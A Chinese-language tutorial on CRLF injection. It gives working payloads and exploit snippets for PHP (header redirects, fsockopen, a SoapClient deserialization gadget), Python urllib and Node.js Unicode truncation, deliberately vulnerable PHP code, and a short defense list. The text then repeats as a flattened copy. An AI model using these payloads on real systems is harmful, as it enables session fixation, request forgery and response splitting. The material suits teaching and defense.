CRLF injection
字数 1058 2025-08-25 22:58:47

CRLF注入漏洞深入解析与利用

HTTP报文结构与CRLF基础

HTTP报文由三部分组成:

  • 状态行(请求行/响应行)
  • 首部
  • 主体

HTTP规范中行以回车符(CR, \r, %0d)和换行符(LF, \n, %0a)结束,即CRLF序列。首部和主体之间由两个CRLF分隔(空行)。

CRLF注入原理

CRLF注入(HTTP响应拆分,HRS)发生在Web应用未对用户输入严格验证时,攻击者可以在请求行或首部字段中注入恶意CRLF字符,从而:

  1. 注入额外的首部字段
  2. 分割HTTP响应
  3. 注入恶意内容

典型利用场景

1. Location字段的302跳转

<?php
if(isset($_GET["url"])) {
    header("Location:".$_GET['url']);
    exit;
}

攻击者可以构造:

/?url=https://example.com%0d%0aSet-Cookie:PHPSESSID=whoami

结果响应头会包含:

Location: https://example.com
Set-Cookie: PHPSESSID=whoami

2. 会话固定攻击

通过注入Set-Cookie头,强制用户使用攻击者控制的会话ID。

PHP中的CRLF注入

1. fsockopen()函数利用

<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}

攻击payload:

/?url=example.com%0d%0aSet-Cookie:PHPSESSID=whoami

2. SoapClient类利用

<?php
$target = 'http://example.com/';
$a = new SoapClient(null,array(
    'location' => $target,
    'user_agent' => "WHOAMI\r\nSet-Cookie: PHPSESSID=whoami", 
    'uri' => 'test'
));
$b = serialize($a);
$c = unserialize($b);
$c->a(); // 触发__call方法

3. 发送POST请求

<?php
$target = 'http://example.com/';
$post_data = 'data=whoami';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array(
    'location' => $target,
    'user_agent'=>'WHOAMI^^Content-Type: application/x-www-form-urlencoded^^'
        .join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data)
        .'^^^^'.$post_data,
    'uri'=>'test'
));
$b = str_replace('^^',"\n\r",serialize($a));
$c = unserialize($b);
$c->a();

Python中的CRLF注入

1. urllib/urllib2漏洞

影响版本:

  • Python 2.x至2.7.16中的urllib2
  • Python 3.x至3.7.2中的urllib

注入恶意首部

import urllib.request
url = "http://example.com?a=1 HTTP/1.1\r\nCRLF-injection: True\r\nSet-Cookie: PHPSESSID=whoami"
urllib.request.urlopen(url)

注入完整HTTP请求

payload = ''' HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
[...完整请求内容...]
GET / HTTP/1.1
test:'''.replace("\n","\r\n")

url = 'http://example.com?a=1' + payload
urllib.request.urlopen(url)

Node.js中的CRLF注入

Unicode字符损坏利用

Node.js v8及以下版本存在将高编号Unicode字符截断为控制字符的问题:

字符 Unicode编码 对应字符
\r \u010d č
\n \u010a Ċ
空格 \u0120 Ġ

示例利用

const http = require('http');
http.get('http://example.com/\u010d\u010aSet-Cookie:PHPSESSID=whoami');

注入完整请求

const payload = ' HTTP/1.1\r\n\r\nPOST /upload.php HTTP/1.1\r\n[...]\r\nGET / HTTP/1.1\r\ntest:'
  .replace('\r\n', '\u010d\u010a')
  .replace(' ', '\u0120');

http.get('http://example.com/' + payload);

防御措施

  1. 过滤所有用户输入的CR(%0d)、LF(%0a)字符
  2. 使用安全的API设置HTTP头,避免拼接
  3. 对重定向URL进行严格校验
  4. 升级到已修复的Python/Node.js版本
  5. 使用Web应用防火墙(WAF)检测CRLF注入尝试

高级利用技巧

  1. XSS组合攻击:通过注入两个CRLF,可以分割响应并注入恶意HTML/JavaScript
  2. 缓存投毒:注入影响缓存的头信息
  3. 安全绕过:注入CSP头或其它安全相关头
  4. HTTP请求走私:与CRLF注入结合实现更复杂的攻击

CRLF注入漏洞的危害程度取决于注入点的上下文和应用程序的功能,从会话固定到完全的系统入侵都有可能。

CRLF注入漏洞深入解析与利用 HTTP报文结构与CRLF基础 HTTP报文由三部分组成: 状态行 (请求行/响应行) 首部 主体 HTTP规范中行以回车符(CR, \r , %0d )和换行符(LF, \n , %0a )结束,即CRLF序列。首部和主体之间由两个CRLF分隔(空行)。 CRLF注入原理 CRLF注入(HTTP响应拆分,HRS)发生在Web应用未对用户输入严格验证时,攻击者可以在请求行或首部字段中注入恶意CRLF字符,从而: 注入额外的首部字段 分割HTTP响应 注入恶意内容 典型利用场景 1. Location字段的302跳转 攻击者可以构造: 结果响应头会包含: 2. 会话固定攻击 通过注入Set-Cookie头,强制用户使用攻击者控制的会话ID。 PHP中的CRLF注入 1. fsockopen()函数利用 攻击payload: 2. SoapClient类利用 3. 发送POST请求 Python中的CRLF注入 1. urllib/urllib2漏洞 影响版本: Python 2.x至2.7.16中的urllib2 Python 3.x至3.7.2中的urllib 注入恶意首部 注入完整HTTP请求 Node.js中的CRLF注入 Unicode字符损坏利用 Node.js v8及以下版本存在将高编号Unicode字符截断为控制字符的问题: | 字符 | Unicode编码 | 对应字符 | |------|------------|----------| | \r | \u010d | č | | \n | \u010a | Ċ | | 空格 | \u0120 | Ġ | 示例利用 注入完整请求 防御措施 过滤所有用户输入的CR( %0d )、LF( %0a )字符 使用安全的API设置HTTP头,避免拼接 对重定向URL进行严格校验 升级到已修复的Python/Node.js版本 使用Web应用防火墙(WAF)检测CRLF注入尝试 高级利用技巧 XSS组合攻击 :通过注入两个CRLF,可以分割响应并注入恶意HTML/JavaScript 缓存投毒 :注入影响缓存的头信息 安全绕过 :注入CSP头或其它安全相关头 HTTP请求走私 :与CRLF注入结合实现更复杂的攻击 CRLF注入漏洞的危害程度取决于注入点的上下文和应用程序的功能,从会话固定到完全的系统入侵都有可能。